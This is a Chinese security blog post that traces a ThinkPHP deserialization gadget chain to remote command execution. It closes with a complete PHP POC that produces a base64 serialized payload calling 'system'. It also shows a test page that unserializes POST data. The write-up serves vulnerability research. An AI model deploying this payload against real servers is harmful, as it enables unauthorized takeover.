回顾

先来回顾下反序列化中常用到的几个魔法函数

  • __construct():创建对象时会自动调用
  • __destruct():对象销毁时自动调用
  • __sleep():执行serialize()时自动调用
  • __wake():执行unserialize()时自动调用
  • __toString():对象被作为字符串处理时自动调用
  • __get():从不可访问的属性中读取数据时自动调用
  • __call():调用类中不存在的或不可访问的方法时自动调用

反序列化链分析

寻找入口点,全局搜索__destruct()

image-20210905144702142

前三处都是执行$this->stop();,关闭连接,无法利用

第四个是think/process/pipes下Windows类的__destruct() ,除了stop()方法,还有一个removeFiles()方法

1
2
3
4
5
public function __destruct()
{
$this->close();
$this->removeFiles();
}

全文追踪此函数

1
2
3
4
5
6
7
8
9
10
11
12
/**
* 删除临时文件
*/
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

第20行处 private $files = [];

所以这里的$this->files可控,结合@unlink(),故存在任意文件删除。

注意到file_exists(),如果传入的参数是一个对象,这里它被当成字符串处理,则会触发__toString(),而传入的参数正是我们可控的

接下来尝试去寻找有无可利用的__toString()

在think\model\concern的trait Conversion中存在

1
2
3
4
public function __toString()
{
return $this->toJson();
}

跟进toJson()

1
2
3
4
5
6
7
8
9
10
/**
* 转换当前模型对象为JSON字符串
* @access public
* @param integer $options json参数
* @return string
*/
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

跟进toArray()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public function toArray()
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}

// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}

$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}

$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}

return $item;
}

重点看到这里

1
2
3
4
5
6
7
8
9
10
11
12
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);

if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}

最后一个if语句中,执行方法$relation->visible($name);

如果是可控变量->方法(可控参数),就可以去找__call

看下是否是可控的,$this->append可控,再看getRelation()

1
2
3
4
5
6
7
8
9
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

$name可控,易使得getRelation()返回为空,进而if (!$relation)成立,进入getAttr()

1
2
3
4
5
6
7
8
9
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}

跟进getData()

1
2
3
4
5
6
7
8
9
10
11
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

getData()返回的$this->data可控,所以相当于 $relation = $this->data($key);,故$relation可控

$name$this->append的键值,$append可控,故$name也可控

但需要注意,__toString()Conversion类的,getAttr()等是Attribute类的,这两个都是trait类。

自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。然后我们需要找到一个子类同时继承了Attribute类和Conversion类。

经过寻找,找到了Model类符合要求

image-20210905174435123

但它是一个抽象类,抽象类不能直接实例化

抽象类不能被直接实例化。抽象类中只定义(或部分实现)子类需要的方法。子类可以通过继承抽象类并通过实现抽象类中的所有抽象方法,使抽象类具体化。
如果子类需要实例化,前提是它实现了抽象类中的所有抽象方法。如果子类没有全部实现抽象类中的所有抽象方法,那么该子类也是一个抽象类,必须在 class 前面加上 abstract 关键字,并且不能被实例化。

构造的时候需要实例化Model类的一个非抽象子类,找到了Pivot类

现在缺一个进行代码执行的点,想办法找找有没有可利用的__call(),我们可以构造不存在的方法来调用它,一番搜寻找到Request类的__call()

1
2
3
4
5
6
7
8
9
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}

throw new Exception('method not exists:' . static::class . '->' . $method);
}

这里的$hook可控,可以构造一个hook数组"visable"=>"method",但不能直接利用call_user_func_array()执行命令,array_unshift()把$this插到了$args的前面,使得参数不可控

在Thinkphp的Request类中还有一个功能filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。

在Request.php的1459行

1
2
3
4
5
6
7
8
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);

foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);

想办法让call_user_func()的两个参数可控

在Request类的input方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}

$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}

$data = $this->getData($data, $name);

if (is_null($data)) {
return $default;
}

if (is_object($data)) {
return $data;
}
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}

return $data;
}

利用array_walk_recursive()来调用filterValue方法,注意$filter是通过getFilter得到的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}

$filter[] = $default;

return $filter;
}

所以$filter = $this->getFilter($filter, $default);相当于是$filter=$this->filter,而$this->filter可控,故$filter可控。

但这里的data数组不可控,如果可控,且$name是空字符串,$data就直接作为回调函数的可控参数

接下来看看有没有哪些地方调用了input函数,它的$data这个位置的参数是否可控

同样也是在Request类中,有一个param函数满足要求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);

// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}

// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true;
}

if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter);
}

return $this->input($this->param, $name, $default, $filter);
}

最后这里使用了input函数,注意$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));也就是注释中说的$this->param会和URL地址中的参数合并

因为调用的是array_walk_recursive(),数组中每个成员都可以被调用到,故无影响。

参数$this->param可控,相当于$data可控,但考虑动态执行命令,就不直接构造$this->param,可以把要执行的命令写在get参数里。

第二个参数$name还不可控,寻找有无调用param函数的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) {
return $result;
}

$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}

在isAjax函数中,$this->config['var_ajax']可控,相当于param函数中$name可控,再相当于input函数中$name可控

$this->config['var_ajax']为空,即input函数中$name为空,加上$data可控,故

1
array_walk_recursive($data, [$this, 'filterValue'], $filter);

这个回调函数中的参数可控

进而filterValue中的$value = call_user_func($filter, $value);,其回调函数和参数也都可控了

利用链梳理

pop利用链:

Windows类的__destruct()→

Windows类的removeFiles()→

file_exists()→

Model类的__toString()→

Model类的toJson()→

Model类的toArray()→

Request类的__call()→

Request类的filterValue()→

Request类的input()→

Request类的param()→

Request类的isAjax()

POC梳理

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
namespace think\process\pipes{

use think\model\Pivot;

class Windows
{
private $files = [];
public function __construct(){
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model
{
protected $append = [];
private $data = [];
public function __construct(){
$this->data=array(
'cmd'=>new Request()
);
$this->append=array(
'cmd'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{

use think\Model;

class Pivot extends Model
{

}
}
namespace think{
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
public function __construct(){
$this->hook['visible']=[$this,'isAjax'];
$this->filter="system";
}
}
}
namespace{

use think\process\pipes\Windows;

echo base64_encode(serialize(new Windows()));
}

  1. 创建一个Windows()对象,触发Windows类的__construct()方法

  2. 上一步的__construct()方法中创建了一个Pivot()对象,它继承自Model()类,触发Model()类的__construct()方法

  3. 上一步的__construct()方法中创建了一个Request()对象,触发Request类的__construct()方法

    1
    2
    3
    4
    public function __construct(){
    $this->hook['visible']=[$this,'isAjax'];
    $this->filter="system";
    }
  4. 上一步的__construct()方法调用了Request类中不存在的visible()方法,触发__call()方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public function __call($method, $args) 
    //$method为不存在的方法,$args为不存在方法以数组形式存的参数,
    {
    if (array_key_exists($method, $this->hook)) {
    array_unshift($args, $this);
    return call_user_func_array($this->hook[$method], $args);
    //执行[$this,'isAjax']
    }
    ......
    }
  5. __call()方法中执行call_user_func_array()方法

  6. 执行回调函数isAjax()

    1
    2
    3
    4
    5
    6
    7
    public function isAjax($ajax = false)
    {
    ......
    $result= $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
    }
  7. 执行param()

    1
    2
    3
    4
    5
    6
    public function param($name = '', $default = null, $filter = '')
    {
    ......
    return $this->input($this->param, $name, $default, $filter);
    //$this->param以get方法提交
    }
  8. 执行input()

    1
    2
    3
    4
    5
    6
    7
    8
    public function input($data = [], $name = '', $default = null, $filter = '')
    {
    ......
    if (is_array($data)) {
    array_walk_recursive($data, [$this, 'filterValue'], $filter);
    //$data相当于$this->param,$filter为system
    ......
    }
  9. 执行filterValue()

    1
    2
    3
    4
    5
    private function filterValue(&$value, $key, $filters)
    {
    .......
    $value = call_user_func($filter, $value);
    //$filter为system,$value即$data

    验证POC

首先构造一个利用点,这个漏洞就是需要后期开发的时候有利用点,才能触发

/public/index.php

1
2
3
Container::get('app')->run()->send();
$str = base64_decode($_POST['data']);
unserialize($str);

把payload通过POST传过去,然后通过GET请求获取需要执行的命令

image-20210906171047508

参考

https://www.cnblogs.com/wangtanzhi/p/12639659.html#autoid-0-5-0

https://paper.seebug.org/1040/#_2

https://blog.csdn.net/rfrder/article/details/113843768